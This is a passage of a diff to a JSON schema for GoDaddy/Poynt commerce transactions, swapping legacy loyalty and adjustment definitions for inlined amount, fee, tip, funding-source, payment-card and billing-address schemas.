"Reason for this adjustment.", + { + "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Itemized amount details used for processing transaction", "properties": { - "program": { + "cashback": { + "description": "Cashback details", + "format": "int64", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "enum": [ - "NO_SHOW", - "PURCHASE", - "CARD_DEPOSIT", - "DELAYED_CHARGE", - "EXPRESS_SERVICE", - "ASSURED_RESERVATION" - ], - "description": "The reason for the transaction - currently only applicable for lodging." + "x-currency-type": true, + "x-custom-type": true }, - "programFor": { - "description": "Some programs require this additional programFor list to be populated.", - "type": "array", + "fees": { + "description": "Fees if any", "items": { - "type": "string", - "enum": [ - "RESTAURANT", - "GIFT_SHOP", - "MINI_BAR", - "TELEPHONE", - "LAUNDRY", - "OTHER" - ] - } - } - } - }, - "sequence": { - "type": "integer", - "description": "This field indicates the sequence in which this AdjustmentRecord happened in the adjustment history." - }, - "signature": { - "format": "byte", - "type": "string" - }, - "signatureCaptured": { - "type": "boolean", - "description": "Shows whether signature was captured for this adjustment." - }, - "systemTraceAuditNumber": { - "type": "string" - }, - "transactionNumber": { - "type": "string" - } - }, - "description": "This object shows a summary of the adjustment." - }, - "LegacyPoyntLoyalty": { - "type": "object", - "properties": { - "externalId": { - "type": "string" - }, - "loyalty": { - "type": "array", - "items": { - "type": "object", - "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "campaignDescription": { - "type": "string" - }, - "campaignName": { - "type": "string" - }, - "lastIncrement": { - "type": "integer", - "format": "int64" - }, - "loyaltyType": { - "type": "string" - }, - "loyaltyUnit": { - "type": "string" - }, - "nextTier": { - "type": "string" - }, - "points": { - "type": "integer", - "format": "int64" - }, - "pointsRequired": { - "type": "integer", - "format": "int64" - }, - "rewardDescription": { - "type": "string" - }, - "tier": { - "type": "string" - }, - "totalPoints": { - "type": "integer", - "format": "int64" - }, - "totalSpend": { - "type": "integer", - "format": "int64" - }, - "totalVisits": { - "type": "integer", - "format": "int64" - } - } - } - }, - "loyaltyId": { - "type": "integer", - "format": "int64" - }, - "reward": { - "type": "array", - "items": { - "type": "object", - "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "expireAt": { - "type": "string", - "format": "date-time" - }, - "newReward": { - "type": "boolean" - }, - "postText": { - "type": "string" - }, - "preText": { - "type": "string" - }, - "rewardDescription": { - "type": "string" - }, - "rewardId": { - "type": "integer", - "format": "int64" - }, - "status": { - "type": "string" + "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Fee associated with transaction", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "Simple Fee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Governed fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "programType": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + } + }, + "type": { + "description": "How the fee should be appliedbinary", + "enum": [ + "FIXED", + "HYBRID", + "PERCENTAGE" + ], + "example": "FIXED", + "type": "string" + } + }, + "required": [ + "amount", + "programType", + "type" + ], + "title": "Governed Fee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, - "type": { - "type": "string" + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } }, - "value": { - "type": "integer", - "format": "int64" - } + "title": "Tip Amount", + "type": "object" + }, + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } - } - }, - "LegacyPoyntLoyaltyCampaign": { - "type": "object", + ], "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" - }, - "campaignDescription": { - "type": "string" - }, - "campaignName": { - "type": "string" - }, - "lastIncrement": { - "type": "integer", - "format": "int64" - }, - "loyaltyType": { - "type": "string" - }, - "loyaltyUnit": { - "type": "string" - }, - "nextTier": { - "type": "string" - }, - "points": { - "type": "integer", - "format": "int64" - }, - "pointsRequired": { - "type": "integer", - "format": "int64" - }, - "rewardDescription": { - "type": "string" - }, - "tier": { + "amountType": { "type": "string" - }, - "totalPoints": { - "type": "integer", - "format": "int64" - }, - "totalSpend": { - "type": "integer", - "format": "int64" - }, - "totalVisits": { - "type": "integer", - "format": "int64" } - } + }, + "required": [ + "amountType" + ], + "title": "Amount", + "type": "object" }, - "LegacyPoyntLoyaltyReward": { - "type": "object", + "parentTransactionId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom ID format that can take URN or an UUID", + "example": "urn:trn:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})|(urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + } + }, + "required": [ + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/sale.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Represents sale transaction against a payment", + "properties": { + "updatedAt": { + "deprecated": true, + "description": "Updated time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + } + }, + "title": "Sale Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction amount details", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple amount used for processing transaction", "properties": { - "businessLoyaltyId": { - "type": "integer", - "format": "int64" + "amount": { + "description": "Transaction amount", + "format": "int64", + "type": "integer" }, - "expireAt": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "format": "date-time" - }, - "newReward": { - "type": "boolean" - }, - "postText": { - "type": "string" - }, - "preText": { - "type": "string" + "x-currency-type": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Itemized amount details used for processing transaction", + "properties": { + "cashback": { + "description": "Cashback details", + "format": "int64", + "type": "integer" }, - "rewardDescription": { - "type": "string" + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true }, - "rewardId": { - "type": "integer", - "format": "int64" + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Fee associated with transaction", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "Simple Fee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Governed fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "programType": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + } + }, + "type": { + "description": "How the fee should be appliedbinary", + "enum": [ + "FIXED", + "HYBRID", + "PERCENTAGE" + ], + "example": "FIXED", + "type": "string" + } + }, + "required": [ + "amount", + "programType", + "type" + ], + "title": "Governed Fee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "status": { - "type": "string" + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "type": { - "type": "string" + "tip": { + "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" }, - "value": { - "type": "integer", - "format": "int64" + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" } }, + "required": [ + "amountType" + ], + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-context.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction Context details that contains additional details about where the transaction was initiated", "properties": { - "actionVoid": { - "type": "boolean" + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" }, - "adjusted": { - "type": "boolean", - "description": "This is a response only field. This flag will be present on the transaction that was adjusted and its parents. Most processors only allow adjustment on an Authorize transaction, but some do allow adjustment on Sale or Capture too." + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" + } + }, + "title": "Transaction Context", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "fundingSource": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Funding source of Transaction", + "discriminator": { + "mapping": { + "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", + "BANK_ACCOUNT": "./BankAccount.yaml", + "CASH": "./Cash.yaml", + "CUSTOM": "./CustomFundingSource.yaml", + "EBT_CARD": "./EBTCard.yaml", + "GODADDY": "../payment-token/GoDaddyPaymentToken.yaml", + "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", + "PAYMENT_CARD": "./PaymentCard.yaml", + "PAZE": "../payment-token/PazePaymentToken.yaml" }, - "adjustmentHistory": { - "description": "If the transaction has been adjusted (aka updated), this list will show the details of the updates.", - "type": "array", - "items": { - "type": "object", - "properties": { - "amountChanges": { - "description": "Total amount change in this adjustment.", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" + "propertyName": "sourceType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Payment card", + "properties": { + "cardDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details of the card used for processing transaction", + "properties": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "encrypted": { + "default": true, + "description": "True if the card number is encrypted", + "type": "boolean", + "writeOnly": true + }, + "entryDetails": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Details on how the card is used during transaction", + "properties": { + "customerPresent": { + "default": false, + "description": "Indicates whether customer was present during transaction", + "type": "boolean" + }, + "entryMethod": { + "description": "Entry mode for the card", + "enum": [ + "KEYED", + "MSR", + "CL_MSR", + "ICC", + "CL_ICC" + ], + "type": "string" + }, + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", + "type": "boolean", + "writeOnly": true + } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" + }, + "interacMacDetail": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Interac Mac details of the Payment card", + "properties": { + "interacMac": { + "description": "Interac mac details for canada based cards", + "type": "string" + }, + "interacMacKSN": { + "description": "Interac mac key serial number for canada based cards", + "type": "string" + } + }, + "required": [ + "interacMac", + "interacMacKSN" + ], + "title": "Interac Mac", + "type": "object" + }, + "keySerialNumber": { + "description": "For DUKPT encryption", + "type": "string", + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" + }, + "legacyData": { + "$defs": { + "LegacyCardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } + }, + "type": "object" + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } + "type": "object" }, - "required": [ - "amount", - "currency" - ] + "LegacyCardAgreementMetadata": { + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", + "properties": { + "businessContact": { + "description": "Business contact or website.", + "maxLength": 1024, + "type": "string" + }, + "businessName": { + "description": "Business name.", + "maxLength": 128, + "type": "string" + }, + "businessPhone": { + "description": "Business phone.", + "maxLength": 16, + "type": "string" + }, + "countryCode": { + "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + }, + "lang": { + "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", + "maxLength": 2, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "LegacyCardKeyData": { + "properties": { + "id": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" + }, + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" + } + }, + "type": "object" + }, + "LegacyCardType": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", + "properties": { + "cardAgreement": { + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", + "properties": { + "agreedOn": { + "description": "Timestamp for when this agreement was agreed.", + "format": "date-time", + "type": "string" + }, + "businessId": { + "description": "Business UUID that this card agreement belongs to.", + "type": "string" + }, + "cardId": { + "description": "Card UUID that this card agreement belongs to.", + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "declinedOn": { + "description": "Timestamp for when this agreement was declined.", + "format": "date-time", + "type": "string" + }, + "email": { + "description": "The customer email that we will send the agreement to.", + "type": "string" + }, + "id": { + "description": "UUID of the card agreement.", + "type": "string" + }, + "metadata": { + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." + }, + "status": { + "description": "[Required] The type of card agreement status.", + "enum": [ + "ACCEPTED", + "DELETED", + "INACTIVE" + ], + "type": "string" + }, + "txnId": { + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" + }, + "updatedAt": { + "format": "date-time", + "type": "string" + }, + "version": { + "description": "The version of agreement.", + "type": "integer" + } + }, + "type": "object" + }, + "cardBrand": { + "description": "This object represents CardBrand.", + "properties": { + "brand": { + "type": "string" + }, + "createdAt": { + "format": "date-time", + "type": "string" + }, + "displayName": { + "maxLength": 50, + "minLength": 3, + "type": "string" + }, + "id": { + "type": "string" + }, + "issuerBank": { + "maxLength": 150, + "type": "string" + }, + "logoUrl": { + "type": "string" + }, + "scheme": { + "type": "string" + } }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", + "type": "object" + }, + "cardHolderFullName": { + "description": "Card holder's full name usually picked from track1.", + "maxLength": 256, + "type": "string" + }, + "cardId": { + "description": "The uuid of the card created", + "type": "string" + }, + "encrypted": { + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" + }, + "encryptedExpirationDate": { + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" + }, + "expirationDate": { + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" + }, + "id": { + "description": "The id of the card created.", + "type": "integer" + }, + "issuer": { + "type": "string" + }, + "key": { + "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", + "items": { "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" + "id": { + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" + "version": { + "description": "Version of the key.", + "maxLength": 4, + "type": "string" } + }, + "type": "object" + }, + "type": "array" + }, + "numberFirst6": { + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" + }, + "numberHashed": { + "type": "string" + }, + "numberLast4": { + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" + }, + "type": { + "enum": [ + "AMERICAN_EXPRESS", + "EBT", + "BANCOMAT", + "DISCOVER", + "MAESTRO", + "GOPAY", + "DINERS_CLUB", + "JCB", + "ALIPAY", + "MASTERCARD", + "DANKORT", + "OTHER", + "PAYPAL", + "INTERAC", + "UNIONPAY", + "VISA", + "BANKAXEPT" + ], + "type": "string" + } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" + } + }, + "required": [ + "type", + "number", + "source" + ], + "title": "Card Detail", + "type": "object" + }, + "cardVerificationData": { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Verification data for the card used as funding source", + "properties": { + "cardHolderBillingAddress": { + "$id": "https://godaddy.com/schema/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; 